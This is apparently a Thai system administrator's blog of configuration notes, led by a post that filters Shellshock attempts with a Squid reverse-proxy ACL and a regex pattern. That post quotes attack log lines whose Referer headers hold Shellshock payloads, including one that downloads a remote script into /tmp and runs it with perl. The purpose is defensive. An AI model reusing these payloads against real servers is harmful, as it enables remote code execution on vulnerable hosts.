วันพฤหัสบดีที่ 19 กุมภาพันธ์ พ.ศ. 2558

Squid Proxy: การป้องกัน Shell Shock ด้วย Reverse Proxy

ตัวอย่าง Log การโจมตี Shell Shock จาก Reverse Proxy

abc.xyz.113.99 - - [18/Feb/2015:01:57:46 +0700] "GET http://www.komkit.net/cgi-bin/test/test.cgi HTTP/1.1" 403 464 "() { :;}; /bin/bash -c "echo www.komkit.net | mail -s 'badsite.com' badguy@www.badsite.domain"" "() { :;}; /bin/bash -c "echo brh.thaigov.net | mail -s 'badsite.com' badguy@www.badsite.domain"" TCP_MISS:FIRSTUP_PARENT

abc.xyz.121.201 - - [14/Feb/2015:18:28:52 +0700] "GET http://www.komkit.net/ HTTP/1.0" 503 574 "http://www.komkit.net/index4.php" "() { :;}; /bin/bash -c "wget -O /tmp/bbb www.badsite.domain/b; perl /tmp/bbb"" TCP_MISS:FIRSTUP_PARENT

จาก Log ข้างต้นจะสังเกตุเห็นว่า ทุกๆ Logs จะมีส่วนที่เหมือนกันคือ 
() { :;};  ซึ่งจะอยู่ในส่วนของ Referrer request ซึ่งเราสามารถ Filter ได้ ดังนี้

ในส่วนของ squid.conf

acl ShellShock referer_regex -i "/etc/squid/shellshock"
http_access deny ShellShock
deny_info http://www.komkit.net/accessdeny.html ShellShock


สร้างไฟล์ /etc/squid/shellshock เพื่อใส่ Filter ดังนี้

\(\)\ \{\ \:\;\}\;

จากนั้นให้ทำการ Apply Squid ด้วยคำสั่ง squid -k reconfig

ทำการทดสอบด้วยเวบทดสอบ Shellshock https://shellshock.detectify.com/

ผลที่ได้ดังตัวอย่าง Log


54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3772 "() { :;}; /usr/bin/wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=/usr/bin/wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
 

54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; curl https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=curl" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
 

54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE

ซึ่งก็น่าจะช่วยป้องกันได้ในระดับนึง  แต่ยังไงก็อย่าลืม Patch ระบบดีกว่านะครับ ปลอดภัยกว่าเยอะ

วันจันทร์ที่ 19 มกราคม พ.ศ. 2558

การตรวจสอบ IPv6 routing และ IPv6 neighbors บน Linux

การตรวจสอบ IPv6 routing โดยคำสั่ง route

[root@Server komkit]# route -n -A inet6
หรือ
[root@Server komkit]# ip -6 route show


การตรวจสอบ IPv6 neighbors (ARP)

[root@Server komkit]# ip -6 neigh show

วันเสาร์ที่ 23 สิงหาคม พ.ศ. 2557

การส่ง Apache access log ไปยัง Syslog server

ระบบที่ใช้ทดสอบ : Ubuntu server 14.04, Apache2

แก้ไขไฟล์ /etc/apache2/sites-available/000-default.conf (ทั้งนี้ขึ้นอยู่กับว่าใช้ vHost ชื่ออะไร)
โดยเพิ่ม

ErrorLog syslog:local6
CustomLog "||/usr/bin/logger -t apache -i -p local6.notice" combined

จากนั้นแก้ไขไฟล์  /etc/rsyslog.d/50-default.conf
โดยเพิ่ม 
*.*             @192.168.38.142

จากนั้นทำการ restart rsyslog และ apache2 ดังนี้

service rsyslog restart
และ
service apache2 restart


ref. https://raymii.org/s/snippets/Apache_access_and_error_log_to_syslog.html

วันอังคารที่ 20 พฤศจิกายน พ.ศ. 2555

[Squid Proxy] : access_log with time acl.

[บทความกันลืม]

โจทย์จากน่วยงานแห่งหนึ่ง ต้องการายงานการใช้งาน Squid proxy (Top sites, Top users, Bandwidth used, etc.)ดังนี้
- รายงานแรก เป็นรายงานการใช้งาน Squid proxy ทั้งวัน (อันนี้ทำเป็นปกติอยู่แล้ว)
- รายงานที่สอง เป็นรายงานการใช้งาน Squid proxy เฉพาะในช่วงเวลาการทำงาน (8:30-11:59:59 น. และ 13:00-16:59:59 น.)

แนวคิด (ไม่รู้ว่าคิดดีรึยัง)
- แยก access_log ออกเป็น 2 ไฟล์ คือ access.log และ access_worktime.log ดังนี้

### แก้ไขไฟล์ squid.conf
## เพิ่ม time acl

acl  worktime_am  time  MTWHF  8:30-11:59:59
acl  worktime_pm  time  MTWHF  13:00-16:59:59 

## เขียน access_log ดังนี้

access_log  /squid/logs/access.log  squid
access_log  /squid/logs/access_worktime.log  squid  worktime_am
access_log  /squid/logs/access_worktime.log  squid  worktime_pm

## บันทึกไฟล์ แล้วทำการ reconfigure ด้วยคำสั่ง squid -k reconfigure

จากนั้นก็จะได้ Squid log มา 2 ไฟล์ไปทำรายงานด้วย Tools ที่เหมาะสมต่อไป



วันพุธที่ 22 สิงหาคม พ.ศ. 2555

[VMware] การตั้งค่า SNMP community string และการเปิดการทำงานของ SNMP บน VMware ESX ผ่าน CLI ของ VMware

[บทความกันลืม]

กำหนดให้
VMware ESX host =  vmware-host.domain.com
VMware ESX username = root
VMware ESX password = MyPassWord

SNMP community string =  SNMP-Community


ก่อนอื่นต้องไป download โปรแกรม VMware CLI มาติดตั้งก่อน 


การแก้ไข community string ให้ VMware ESX
C:\Program Files (x86)\VMware\VMware vSphere CLI\bin>vicfg-snmp.pl --server=vmware-host.domain.com --username=root --password=MyPassWord -c SNMP-Community
Changing community list to: SNMP-Community...
Complete.

การเปิดการทำงานของ SNMP บน VMware ESX
C:\Program Files (x86)\VMware\VMware vSphere CLI\bin>vicfg-snmp.pl --server=vmware-host.domain.com --username=root --password=MyPassWord --enable
Enabling agent...
Complete.

วันพุธที่ 8 กุมภาพันธ์ พ.ศ. 2555

Security : การส่ง Log ผ่าน E-Mail จากอุปกรณ์ Cisco ASA Firewall

[ บทความกันลืม ]

ในบทความนี้จะทำการส่ง E-Mail ไปยังผู้ดูแลระบบเมื่อ

- มีความพยายาม Login เข้าสู่ Firewall ทั้งที่สำเร็จ หรือไม่สำเร็จ
- มีการ Execute command เช่น config terminal

กำหนดให้
อุปกรณ์ทดสอบ : Cisco PIX-525
Software Version : 8.0(4)28

SMTP server = 10.10.10.25
SMTP server (สำรอง) = 10.10.20.25
E-Mail ผู้ดูแลระบบ = admin-firewall@komkit.net

! Configuration ของ Firewall มีดังนี้
!
smtp-server 10.10.10.25 10.10.20.25
!
logging enable
logging timestamp
!
logging device-id context-name
!
logging list Email_Alerts level alert class auth
logging list Email_Alerts level alert class config
logging list Email_Alerts level alert class session
!
logging list Email_Alerts message 109033
logging list Email_Alerts message 109034
logging list Email_Alerts message 315004
logging list Email_Alerts message 315011
logging list Email_Alerts message 605004
logging list Email_Alerts message 605005
logging list Email_Alerts message 710002
logging list Email_Alerts message 111004
logging list Email_Alerts message 113005
logging list Email_Alerts message 113012
logging list Email_Alerts message 113015
logging list Email_Alerts message 611101
logging list Email_Alerts message 611102
logging list Email_Alerts message 102001
logging list Email_Alerts message 199001
logging list Email_Alerts message 502103
logging list Email_Alerts message 613003
logging list Email_Alerts message 111008
!
!
logging from-address alert-firewall@komkit.net
logging recipient-address admin-firewall@komkit.net level information
logging mail Email_Alerts
!
end


โดย Log ที่ถูกส่งออกไปนั้น จะเป็นแบบ 1 log ต่อ 1 mail ดังนั้นควรที่จะ filter ว่าจะต้องการให้ Firewall ส่ง Log เฉพาะที่ต้องการก็เพียงพอ

ตัวอย่าง Log message ที่ได้รับมาใน Mail

<166>Feb 09 2012 13:44:44 single_vf : %PIX-6-605004: Login denied from 172.17.12.51/58897 to outside:172.17.12.5/ssh for user "hacker"

<165>Feb 09 2012 13:44:57 single_vf : %PIX-5-111008: User 'komkit' executed the 'enable' command.

<165>Feb 09 2012 13:58:35 single_vf : %PIX-5-111008: User 'enable_15' executed the 'configure terminal' command.

<165>Feb 09 2012 14:00:12 single_vf : %PIX-5-111008: User 'enable_15' executed the 'username admin2 password *' command.

<166>Feb 09 2012 13:10:36 single_vf : %PIX-6-315011: SSH session from 172.17.12.51 on interface outside for user "komkit" terminated normally

วันอังคารที่ 20 ธันวาคม พ.ศ. 2554

Network : เพิ่ม Perpersistent Static Route บน Windows

บนระบบ Windows ในบางกรณีที่ต้องมีหลาย Network interfaces หรือหลาย Gateway และต้องการเพิ่ม Static route เพื่อจัดการ Route ให้เป็นไปตามต้องการ สามารถทำได้ดังนี้

ระบบที่ทดสอบ Microsoft Windows 7 Professional
กำหนดให้ Destination route คือ 172.17.15.0/24
กำหนดให้ Gateway คือ 172.17.12.1

- เพิ่ม route ชั่วคราว โดย route นี้จะหายไปเมื่อระบบ reboot
C:\>route add 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!

- เพิ่ม Perpersistent Static Route โดย route นี้จะไม่หายไปเมื่อระบบ reboot
C:\>route add -p 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!

- ลบ route
C:\>route delete 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!

- ตรวจสอบ Routing table
C:\> route print

หรือ

C:\> netstat -rn